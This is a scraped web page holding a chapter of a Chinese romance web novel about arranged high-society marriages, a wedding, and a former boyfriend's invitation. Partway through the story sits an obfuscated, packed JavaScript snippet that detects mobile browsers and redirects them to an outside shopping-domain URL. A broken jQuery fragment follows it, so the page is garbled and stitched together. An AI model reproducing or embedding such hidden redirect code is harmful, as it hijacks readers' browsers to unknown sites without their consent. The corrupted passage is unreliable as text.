文趣网 > 其他小说 > 女顶又被爆恋情了[先婚后爱] > 17. 第十七章
    陶思辰脸色微变,颔首道:“大哥。”

    时绪上前,长臂一身,将愣在原地的书棠搂紧怀里,语气里带着些警告意味:“听说你最近工作很辛苦?”

    谈起这件事,陶思辰不由得咬了咬牙,自己那一堆烂摊子全是眼前的男人推过来的。

    转头三个多月了,他每天熬夜加班,周末也抽不出空,天南海北的跑出去出差。

    “能跟大哥合作,就是辛苦一点也是值得的。”陶思辰皮笑肉不笑,“倒是大嫂,听说最近你回了星川,近期也没有进组的打算了,什么时候有空,可以一起吃个饭?”

    单独约饭书棠倒是没意见,但是如果要带上身边这个冷的和冰窖一样的男人。

    她光是想想就觉得浑身汗毛乍起,背后都冒出了薄薄的一层冷汗。

    还是算了吧...

    “我...”书棠张了张嘴,却不知道该答应还是还推脱。

    “我想,约饭倒不急。”时绪适时开口打断她:“你最近应该闲下来了吧?妈妈催着你,早点找个姑娘结婚,把终身大事定下来。你知道的,妈妈很放心不下你。”

    说罢,时绪不再理会他脸上的表情,单手揽着书棠,径直离去。

    三个人很默契,谁也没有开口提及综艺的事。

    陶思辰站在原地,漆黑的眸子盯着那对远去的背影,竟意外的觉察出几分般配,攥着高脚杯的手也不由自主地收紧。

    盛大喧嚣的婚礼现场,温家的人个个丧着脸,在人群中游荡,敷衍举杯。

    毫无疑问,这是令他们十分不满的一场婚礼。

    被众人围在整个大厅正中央的一对模样出挑的男女,男人高定西服不见一丝褶皱,衬得肩背挺拔利落,举手投足间透露着沉稳矜贵的模样。

    新娘一袭高定鱼尾白绸勾勒出紧致流畅的身形曲线,从腰臀处缓缓收窄,垂坠的缎面顺着双腿向下延伸,拖尾轻扫红毯。

    然而,与始终扯着嘴角笑对来宾市新郎不同的是,新娘始终垂着眼睛,手臂挽着自己的爱人,脸上看不到一丝结婚的喜悦,装都不想装。

    书棠从小和这些豪门千金相处的不算多,自然和温绾也不太熟悉,不知道这场婚姻到底是怎么回事。

    不过,单单从听来的流言里,她也能分析出一二。

    池砚是草根逆袭,六岁的时候从小山村里走出来,被温家资助养在了家里。

    后来高考从竞争最激烈的高考大省考出来,成了省状元,但那会儿家里好像出了什么事,他就和温家断了来往。

    留学期间,他创业开公司,毕业后事业就走上了正规,最后迎娶了自己已逝伯乐的掌上明珠。

    在外人看来,这或许是一段青梅竹马童养夫的甜蜜故事,但书棠却听说过另一个版本。说池砚跟温绾的父亲根本不是伯乐与千里马,而是货真价实的亲父子。

    那这样看,二人之间的关系就有些微妙了。

    书棠又瞟了一眼新娘子。

    下一秒,温绾正好递了个眼神过来。

    偷窥被发现,书棠险些脚滑,幸好抓紧了时绪的胳膊。

    “怎么了?”察觉到胳膊被人拽了一把,后者低下头,视线扫过书棠十厘米的高跟鞋,微微皱眉,“脚痛?”

    温绾的视线已经收了回去,仿佛刚才只是无意间看了一眼。

    “没,没事。”书棠摇了摇头,拿出手机,开始四下询问这件事的真实性。

    酒过三巡,婚礼上的宾客也散的差不多了,时绪和池砚聊到合作便停不下来,书棠一人带着包出来补妆。

    酒店洗手间的镜子自带了补光灯,书棠对着镜子补涂口红,陷在自己的美貌中无法自拔。

    拐角,换上酒红色敬酒服的温绾拐入洗手间,书棠恰好抬头,二人的目光在半空中相对。

    “hi。”书棠的口红画歪了一点,拽了张卫生纸来补救,“你今天很美,温小姐。”

    想到她刚刚一副被胁迫的表情,书棠还是没敢将那一声“池太太”喊出口。

    “时太太。”温绾提着裙子,高跟鞋“哒哒哒”的响,“好巧。”

    “是。”书棠捋了捋头发,将口红装进包里,转过身,“温小姐,恕我冒昧,你今天是不是...不太开心?”

    在场的宾客但凡有眼睛的应该都能看出来,因此书棠也没有假模假样的去祝福她新婚快乐。

    温绾显然没想到书棠会这么直截了当的问她,脸上的表情一时都变得有些不自然了。

    “不好意思...”书棠抿了抿唇,以为自己说错了话,“我是不是,说错话了?”

    温绾挤出一个笑容,摇了摇头,“没有。”

    她走到洗手台前,打开水龙头,任由冰凉的水冲刷着自己无名指上鸽子蛋大的钻戒。

    书棠觉得她怪怪的,打算赶快逃离。

    没成想,还不等她迈出一步,便被镜中一脸茫然的温绾叫住。

    “时太太。”

    书棠顿住脚步,侧过身子,“嗯?温小姐还有事吗?”

    温绾甩了甩手上的水珠,“我听说当初,你和时总结婚时,也是万般的不情愿。”

    万般不情愿?

    书棠回忆了一下。

    好像还真没有,但要说开心肯定是没多少,毕竟那会自己一是不知道时绪技术那么好,二是那个时候自己心里还揣着陶思辰。

    “也还好吧。”书棠不懂她要问什么,豪门联姻不都是这样吗?两个不爱的人被家族强行捆绑在一起。但这也没什么好逃避的,享受了锦衣玉食,就必须要付出相对应的代价。

    “那我...那我能知道,你是怎么让自己接受时总的吗?”温绾上前一步,眼神有些急迫,“拜托。”

    接受时绪?

    在外人眼里,自己和时绪已经是一对恩爱甜蜜的夫妻了?

    “这...”书棠表情为难,“天长地久,你以后会和池总天天待在一起,久而久之,就习惯了。”

    她没敢说一定会爱上,譬如圈子里有些夫妻,扮演了一辈子也没能够爱上对方,在对方离世时没有掉一滴眼泪,却依然好久好久的魂不守舍。

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17912977|213206||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    见多了以后,书棠也逐渐明白,把习惯当作是爱,好像也没什么不好的。

    总要好过,强迫自己去爱上一个人吧。

    “那个...”书棠她刚才问了一圈都没有个准信,到底池砚是不是温家的私生子?

    “时太太有话说?”

    “我...我只是好奇,你可以不说的。”书棠的手指不自觉的揪着裙子,“外界说的,池总和令尊,是不是...”

    话刚问出来,书棠就立马后悔了。

    家丑不外扬,人家家里自己的事,怎么会当笑话一样讲出来呢。

    果然,这话像是触碰到温绾的某处逆鳞,她的脸色瞬间僵硬,整个人也随着向后跌了两步,靠在洗手台上。

    书棠看她的模样就觉得大事不妙,不会外界的传言是真的吧?

    哥哥娶了妹妹?

    这也太荒谬了。

    “抱歉,温小姐。”书棠想伸手扶她,却被她轻轻躲了一下。

    “我没事,只是今天起得太早,有点累了。”温绾好看的眼睛里红血丝密布,她抬手扶额,“我自己休息一下就好,时太太还是快点回去吧,免得等下时总该着急了。”

    出了洗手间几米远,书棠才后知后觉的意识到自己的心跳跳的有多快。

    虽然豪门的私生活的确混乱的让人眼前缭乱,但哥哥娶妹妹,听起来就匪夷所思。

    而且照这个逻辑,池砚会不会也知道温绾是自己同父异母血脉相连的妹妹,但看他文质彬彬的样子,应该也不会是变态吧。

    书棠满脑子都是哥哥娶了妹妹这件事,丝毫没注意到前面来的人,就这么直挺挺的装进了对方的怀里。

    “不好意思,我...”书棠连忙退出来,生怕被人看到,但抬起头来的一瞬间,她却傻了眼,“陶...陶思辰。”

    男人脸上带着礼貌的笑,自觉的后退一步,“怎么这么急?”

    书棠平复了一下呼吸,“没有,你要去洗手间吗?”

    “不去。”陶思辰微微弯腰,灰色西装因为他的动作而被折出了几条褶皱,“我是来找你的,嫂子。”

    被他冷不丁叫了声“嫂子”,书棠浑身上下哪哪都不舒服。

    “你最近一直在星川上课,不如等你哪天有空了,我们聚一聚?”陶思辰眼尾带笑,“顺便聊一聊,当年的事。”

    书棠抬头,眼睛眨巴眨巴,“当年的事?”

    “是啊。”陶思辰道:“分手的事,你不是一直都很想知道吗?”

    的确。

    可如果答应了他,万一被时绪发现,自己该如何解释自己跟老公的弟弟单独聚餐呢?

    向他坦白吗?坦白在他出国留学的时候,他的未婚妻和他弟弟谈了恋爱,虽然分手很多年了,但是他老婆依然对这个白月光前男友念念不忘?

    书棠想想就觉得可怕,除非自己不想活了。

    “怎么样?”见她不语,陶思辰又追问了一句:“要不要来?就下个周一怎么样?那天池总和大哥有个饭局,他不会知道我们私下里单独见面的。